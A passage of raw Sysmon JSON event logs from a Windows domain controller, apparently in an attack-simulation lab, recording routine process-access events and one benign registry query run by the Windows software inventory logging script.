2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2609,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2610,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2611,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2612,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2613,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4010-5F2D-0000-0010897B0400}\r\nTargetProcessId: 5072\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4010-5F2D-0000-0010897B0400}","TargetProcessId":"5072","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2614,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-4010-5F2D-0000-0010897B0400}\r\nSourceProcessId: 5072\r\nSourceThreadId: 5092\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4010-5F2D-0000-00100B7B0400}\r\nTargetProcessId: 5064\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-4010-5F2D-0000-0010897B0400}","SourceProcessId":"5072","SourceThreadId":"5092","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4010-5F2D-0000-00100B7B0400}","TargetProcessId":"5064","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2615,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.979\r\nProcessGuid: {90617006-4010-5F2D-0000-0010817D0400}\r\nProcessId: 5116\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\system32\\reg.exe query hklm\\software\\microsoft\\windows\\softwareinventorylogging /v collectionstate /reg:64\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4010-5F2D-0000-00100B7B0400}\r\nParentProcessId: 5064\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /d /c C:\\Windows\\system32\\silcollector.cmd configure","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.979","ProcessGuid":"{90617006-4010-5F2D-0000-0010817D0400}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\system32\\reg.exe query hklm\\software\\microsoft\\windows\\softwareinventorylogging /v collectionstate /reg:64","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4010-5F2D-0000-00100B7B0400}","ParentProcessId":"5064","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /d /c C:\\Windows\\system32\\silcollector.cmd configure","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2616,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-4010-5F2D-0000-00100B7B0400}\r\nSourceProcessId: 5064\r\nSourceThreadId: 5068\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4010-5F2D-0000-0010817D0400}\r\nTargetProcessId: 5116\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\msvcrt.dll+4ba7c|C:\\Windows\\system32\\cmd.exe+103c4|C:\\Windows\\system32\\cmd.exe+10910|C:\\Windows\\system32\\cmd.exe+c36d|C:\\Windows\\system32\\cmd.exe+8ad9|C:\\Windows\\system32\\cmd.exe+6fdd|C:\\Windows\\system32\\cmd.exe+11a9e|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-4010-5F2D-0000-00100B7B0400}","SourceProcessId":"5064","SourceThreadId":"5068","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4010-5F2D-0000-0010817D0400}","TargetProcessId":"5116","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\msvcrt.dll+4ba7c|C:\\Windows\\system32\\cmd.exe+103c4|C:\\Windows\\system32\\cmd.exe+10910|C:\\Windows\\system32\\cmd.exe+c36d|C:\\Windows\\system32\\cmd.exe+8ad9|C:\\Windows\\system32\\cmd.exe+6fdd|C:\\Windows\\system32\\cmd.exe+11a9e|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2617,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4010-5F2D-0000-0010817D0400}\r\nTargetProcessId: 5116\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4010-5F2D-0000-0010817D0400}","TargetProcessId":"5116","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2618,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 